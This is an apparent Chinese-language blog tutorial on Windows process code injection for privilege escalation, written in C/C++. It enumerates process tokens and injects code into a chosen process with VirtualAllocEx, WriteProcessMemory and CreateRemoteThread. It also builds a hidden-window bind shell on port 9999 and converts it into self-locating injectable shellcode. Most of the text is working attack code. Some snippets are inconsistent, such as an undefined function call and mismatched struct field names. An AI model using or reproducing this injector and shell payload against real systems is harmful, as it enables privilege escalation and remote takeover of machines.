C/C++ 进程代码注入与提权/降权

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

如果将shellcode注入到具有特定权限的进程中，我们就可以获得与该进程相同的权限，此方法可以用于提权与降权操作，注入有多种方式，最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中，并通过创建远程线程启动，还可以自己实现一个注入器，这里我们自己来实现一个提权器，可提权也可降权。

PE工具下载与使用: https://www.cnblogs.com/LyShark/p/12960816.html

枚举系统进程，与进程权限令牌等。

#include <stdio.h> #include <Windows.h> #include <TlHelp32.h>// 通过进程Token获取进程权限类型 void __stdcall EnumOwner(HANDLE htoken) { DWORD dwLen; PSID pSid = 0; TOKEN_USER *pWork; SID_NAME_USE use; TCHAR User[256], Domain[256];GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen); pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen); if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen)) { dwLen = GetLengthSid(pWork->User.Sid); pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen); CopySid(dwLen, pSid, pWork->User.Sid); dwLen = 256; LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use); printf("\t 权限类型 => %s : %s ", Domain, User); } }// 枚举系统中进程的令牌权限信息 int enumprocess() { HANDLE SnapShot, ProcessHandle, hToken; PROCESSENTRY32 pe32;// 拍摄快照 SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe32.dwSize = sizeof(PROCESSENTRY32);if (Process32First(SnapShot, &pe32) == FALSE) return 0;while (1) { if (Process32Next(SnapShot, &pe32) == FALSE) return 0;printf("PID => %6i \t 进程名 => %-20s \t 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads); // 获取特定进程权限等 ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID); if (ProcessHandle != NULL) { if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken)) { EnumOwner(hToken); CloseHandle(hToken); CloseHandle(ProcessHandle); } } printf("\n"); } return 1; }int main(int argc, char * argv[]) { ExtractProcessTokens(); system("pause"); return 0; }

枚举线程权限类型

// 枚举特定进程中线程的Token值 int enumtoken(DWORD dwPID) { HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32;if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE) { te32.dwSize = sizeof(THREADENTRY32); if (Thread32First(hThreadSnap, &te32)) { do { HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID); if (hThread != NULL) { HANDLE hToken; OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken); EnumOwner(hToken); CloseHandle(hToken); }} while (Thread32Next(hThreadSnap, &te32)); } } return TRUE; }

手工获取函数地址 第一步，手动获取到kernel32.dll地址，与GetProcaddress地址，然后就可以动态获取到任意函数的地址，先定义数据结构

typedef struct _ShellBase { // 针对Kernel32的操作 HANDLE KernelHandle; char kernelstring[20]; // kernel32.dll LOADLIBRARY KernelLoadLibrary; GETPROCADDRESS KernelGetProcAddress;// 针对User32的操作 HANDLE UserHandle; char userstring[20]; // user32.dll }ShellParametros;

然后，主函数获取地址，并写入全局结构体。

int main(int argc, char * argv[]) { ShellParametros Param; // 得到加载基地址的工具函数 Param.KernelHandle = LoadLibrary("kernel32.dll"); Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA"); Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress"); printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串 strcpy(Param.kernelstring, "kernel32.dll"); strcpy(Param.userstring, "user32.dll"); system("pause"); return 0; }

查询弹窗定义。

WINUSERAPI int WINAPI MessageBoxA( _In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType);

头部声明

// Kernel32 调用约定定义 typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName); typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);// User32调用约定定义 typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

获取地址，并转为MESSAGEBOX指针。

void __stdcall MyShell(ShellParametros *ptr) { ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring); ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);printf("动态获取到Kernel32基地址 = %x \n", ptr->KernelHandle); printf("动态获取到User32基地址 = %x \n", ptr->UserHandle);MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA"); printf("%x \n", msgbox); msgbox(0, 0, 0, 0); }

调用

注入目标进程，需要获得字符串，该字符串要存储到内存中，修改.

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");typedef struct _ShellBase { // 针对Kernel32的操作 HANDLE KernelHandle; char kernelstring[20]; // kernel32.dll LOADLIBRARY KernelLoadLibrary; GETPROCADDRESS KernelGetProcAddress;// 针对User32的操作 HANDLE UserHandle; char userstring[20]; // user32.dll char msgbox[20];}ShellParametros;MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);

将代码注入到目标进程中，弹窗提示一下，开辟远程线程。

int main(int argc, char * argv[]) { ShellParametros Param, *remote = NULL; HANDLE hProcess; void *p = NULL;// 得到加载基地址的工具函数 Param.Kernel32Base = LoadLibrary("kernel32.dll"); Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA"); Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress"); // printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串 strcpy(Param.KernelString, "kernel32.dll"); strcpy(Param.UserString, "user32.dll");strcpy(Param.User_MsgBox, "MessageBoxA"); strcpy(Param.Text, "hello lyshark");// 根据PID注入代码到指定进程中 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508); p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0); WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0); CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0); return 0; }

实现CMDShell 以下代码可实现正向cmdshell，我们将其改进一下，让其支持动态获取地址。

#include <winsock2.h> #define Port 9999 #pragma comment(lib,"ws2_32.lib")int main() { SOCKET sSocket, cSocket; STARTUPINFO si; PROCESS_INFORMATION pi; WSADATA wsaData; sockaddr_in sSockaddr; char szCmdPath[MAX_PATH];GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);WSAStartup(0x0202, &wsaData); cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sSockaddr.sin_addr.s_addr = INADDR_ANY; sSockaddr.sin_family = AF_INET; sSockaddr.sin_port = htons(Port); bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr)); listen(cSocket, 1);int sLen = sizeof(sSockaddr); sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput = (HANDLE)sSocket; si.hStdOutput = (HANDLE)sSocket; si.hStdError = (HANDLE)sSocket; CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); WSACleanup();return 0; }

依次验证常用函数所在动态链接库，就调用了2个库，好，我们继续写。

上方的代码就是一个正向CMDshell，我们将其写成自定位代码即可，首先定义需要用得到的指针。

// 定义各种指针变量 typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR); typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int); typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*); typedef int (WINAPI *LISTEN) (SOCKET, int); typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA); typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD); typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS); typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

main函数中向结构体中拷贝数据

memset((void *)&parametros, 0, sizeof(PARAMETROS)); strncpy(parametros.cmd, "cmd", 2); parametros.port = htons((unsigned short)9999);// 获取到动态链接库加载函数地址 parametros.KernelHandle = LoadLibrary("kernel32.dll"); parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA"); parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");// 拷贝 winsock 字符串 strcpy(parametros.wsastring, "ws2_32.dll"); strcpy(parametros.wsastartupstring, "WSAStartup"); strcpy(parametros.WSASocketString, "WSASocketW"); strcpy(parametros.WSAConnectstring, "WSAConnect"); strcpy(parametros.bindstring, "bind"); strcpy(parametros.acceptstring, "accept"); strcpy(parametros.listenstring, "listen");// 拷贝 kernel32 字符串 strcpy(parametros.kernelstring, "kernel32.dll"); strcpy(parametros.CreateProcessstring, "CreateProcessA");

调用shell代码，代码先执行动态获取API地址，然后动态调用。

// 调用的远程Shell代码 void __stdcall MyShell(PARAMETROS *ptr) { // 通过GetProcAddress获取到ws2.dll中的所有函数地址 ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring); ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring); ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString); ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring); ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring); ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring); ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);// 通过GetProcAddress获取到kernel32.dll中的所有函数地址 ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring); ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring); ptr->ShellWsaStartup(0x101, &HWSAdata); s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); sa.sin_family = AF_INET; sa.sin_port = ptr->port; sa.sin_addr.s_addr = 0; ptr->ShellBind(s, (struct sockaddr *) &sa, 16); ptr->ShellListen(s, 1);while (1) { n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL); si.cb = sizeof(si); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)n; si.lpDesktop = si.lpTitle = (char *)0x0000; si.lpReserved2 = NULL; ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi); } }